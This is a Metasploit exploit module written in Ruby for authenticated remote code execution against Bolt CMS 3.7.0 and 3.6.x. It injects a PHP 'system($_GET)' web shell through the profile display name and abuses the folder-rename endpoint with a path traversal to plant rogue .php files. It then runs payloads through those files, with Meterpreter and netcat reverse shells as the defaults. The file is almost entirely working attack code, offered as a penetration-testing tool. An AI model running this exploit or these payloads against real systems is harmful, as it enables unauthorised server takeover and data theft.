##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
        'Description' => %q{
          This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
          and 3.6.* in order to execute arbitrary commands as the user running Bolt.

          This module first takes advantage of a vulnerability that allows an
          authenticated user to change the username in /bolt/profile to a PHP
          `system($_GET[""])` variable. Next, the module obtains a list of tokens
          from `/async/browse/cache/.sessions` and uses these to create files with
          the blacklisted `.php` extention via HTTP POST requests to
          `/async/folder/rename`. For each created file, the module checks the HTTP
          response for evidence that the file can be used to execute arbitrary
          commands via the created PHP $_GET variable. If the response is negative,
          the file is deleted, otherwise the payload is executed via an HTTP
          get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`

          Valid credentials for a Bolt CMS user are required. This module has been
          successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Sivanesh Ashok', # Discovery
            'r3m0t3nu11', # PoC
            'Erik Wynter' # @wyntererik - Metasploit
          ],
        'References' =>
          [
            ['EDB', '48296'],
            ['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
          ],
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' =>
          [
            [
              'Linux (x86)', {
                'Arch' => ARCH_X86,
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux (x64)', {
                'Arch' => ARCH_X64,
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux (cmd)', {
                'Arch' => ARCH_CMD,
                'Platform' => 'unix',
                'DefaultOptions' => {
                  'PAYLOAD' => 'cmd/unix/reverse_netcat'
                }
              }
            ]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
        'DefaultOptions' => {
          'RPORT' => 8000,
          'WfsDelay' => 5
        },
        'DefaultTarget' => 2,
        'Notes' => {
          'NOCVE' => '0day',
          'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
      OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
    ]
  end

  def check
    # obtain token and cookie required for login
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 200 && res.body.include?('Sign in to Bolt')
      return CheckCode::Safe('Target is not a Bolt CMS application.')
    end

    html = res.get_html_document
    token = html.at('input[@id="user_login__token"]')['value']
    cookie = res.get_cookies

    # perform login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
      'cookie' => cookie,
      'vars_post' => {
        'user_login[username]' => datastore['USERNAME'],
        'user_login[password]' => datastore['PASSWORD'],
        'user_login[login]' => '',
        'user_login[_token]' => token
      }
    })

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 302 && res.body.include?('Redirecting to /bolt')
      return CheckCode::Unknown('Failed to authenticate to the server.')
    end

    @cookie = res.get_cookies
    return unless @cookie

    # visit profile page to obtain user_profile token and user email
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie
    })

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 200 && res.body.include?('<title>Profile')
      return CheckCode::Unknown('Failed to authenticate to the server.')
    end

    html = res.get_html_document

    @email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
    unless @email # create fake email if this value is not found
      @email = Rex::Text.rand_text_alpha_lower(5..8)
      @email << "@#{@email}."
      @email << Rex::Text.rand_text_alpha_lower(2..3)
      print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
    end

    @profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)

    if !@profile_token || @profile_token.to_s.empty?
      return CheckCode::Unknown('Authentication failure.')
    end

    # change user profile to a php $_GET variable
    @php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie,
      'vars_post' => {
        'user_profile[password][first]' => datastore['PASSWORD'],
        'user_profile[password][second]' => datastore['PASSWORD'],
        'user_profile[email]' => @email,
        'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
        'user_profile[save]' => '',
        'user_profile[_token]' => @profile_token
      }
    })

    return CheckCode::Unknown('Connection failed') unless res

    # visit profile page again to verify the changes
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie
    })

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 200 && res.body.include?("php system($_GET[&#039;#{@php_var_name}&#039")
      return CheckCode::Unknown('Authentication failure.')
    end

    CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
  end

  def exploit
    csrf
    unless @csrf_token && !@csrf_token.empty?
      fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
    end
    vprint_status("Found CSRF token: #{@csrf_token}")

    file_tokens = obtain_cache_tokens
    unless file_tokens && !file_tokens.empty?
      fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
    end
    print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")

    token_results = try_tokens(file_tokens)
    unless token_results && !token_results.empty?
      fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
    end

    valid_token = token_results[0]
    @rogue_file = token_results[1]

    print_good("Used token #{valid_token} to create #{@rogue_file}.")
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager
    end
  end

  def csrf
    # visit /bolt/overview/showcases to get csrf token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
      'cookie' => @cookie
    })

    fail_with Failure::Unreachable, 'Connection failed' unless res

    unless res.code == 200 && res.body.include?('Showcases')
      fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
    end

    html = res.get_html_document
    @csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
  end

  def obtain_cache_tokens
    # obtain tokens for creating rogue .php files from cache
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
      'cookie' => @cookie
    })

    fail_with Failure::Unreachable, 'Connection failed' unless res

    unless res.code == 200 && res.body.include?('entry disabled')
      fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
    end

    html = res.get_html_document
    entries = html.search('tr')
    tokens = []
    entries.each do |e|
      token = e.at('span[@class="entry disabled"]').text.strip
      size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
      tokens.append(token) if size.to_i >= 2000
    end

    tokens
  end

  def try_tokens(file_tokens)
    # create .php files and check if any of them can be used for RCE via the username $_GET variable
    file_tokens.each do |token|
      file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
      file_name = Rex::Text.rand_text_alpha_lower(8..12)
      file_name << '.php'

      # use token to create rogue .php file by 'renaming' a file from cache
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
        'cookie' => @cookie,
        'vars_post' => {
          'namespace' => 'root',
          'parent' => '/app/cache/.sessions',
          'oldname' => token,
          'newname' => "#{file_path}/#{file_name}",
          'token' => @csrf_token
        }
      })

      fail_with Failure::Unreachable, 'Connection failed' unless res

      next unless res.code == 200 && res.body.include?(file_name)

      # check if .php file contains an empty `displayname` value. If so, cmd execution should work.
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'files', file_name),
        'cookie' => @cookie
      })

      fail_with Failure::Unreachable, 'Connection failed' unless res

      # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
      unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
        delete_file(file_name)
        next
      end

      return token, file_name
    end

    nil
  end

  def execute_command(cmd, _opts = {})
    if target.arch.first == ARCH_CMD
      print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
      'cookie' => @cookie,
      'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
    }, 3.5)

    # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
    unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
      print_warning('No response, may have executed a blocking payload!')
      return
    end

    print_good('Payload executed!')
  end

  def cleanup
    super

    # delete rogue .php file used for execution (if present)
    delete_file(@rogue_file) if @rogue_file

    return unless @profile_token

    # change user profile back to original
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie,
      'vars_post' => {
        'user_profile[password][first]' => datastore['PASSWORD'],
        'user_profile[password][second]' => datastore['PASSWORD'],
        'user_profile[email]' => @email,
        'user_profile[displayname]' => datastore['USERNAME'].to_s,
        'user_profile[save]' => '',
        'user_profile[_token]' => @profile_token
      }
    })

    unless res
      print_warning('Failed to revert user profile back to original state.')
      return
    end

    # visit profile page again to verify the changes
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie
    })

    unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
      print_warning('Failed to revert user profile back to original state.')
    end

    print_good('Reverted user profile back to original state.')
  end

  def delete_file(file_name)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
      'cookie' => @cookie,
      'vars_post' => {
        'namespace' => 'files',
        'filename' => file_name,
        'token' => @csrf_token
      }
    })

    unless res && res.code == 200 && res.body.include?(file_name)
      print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
    end

    print_good("Deleted file #{file_name}.")
  end

end
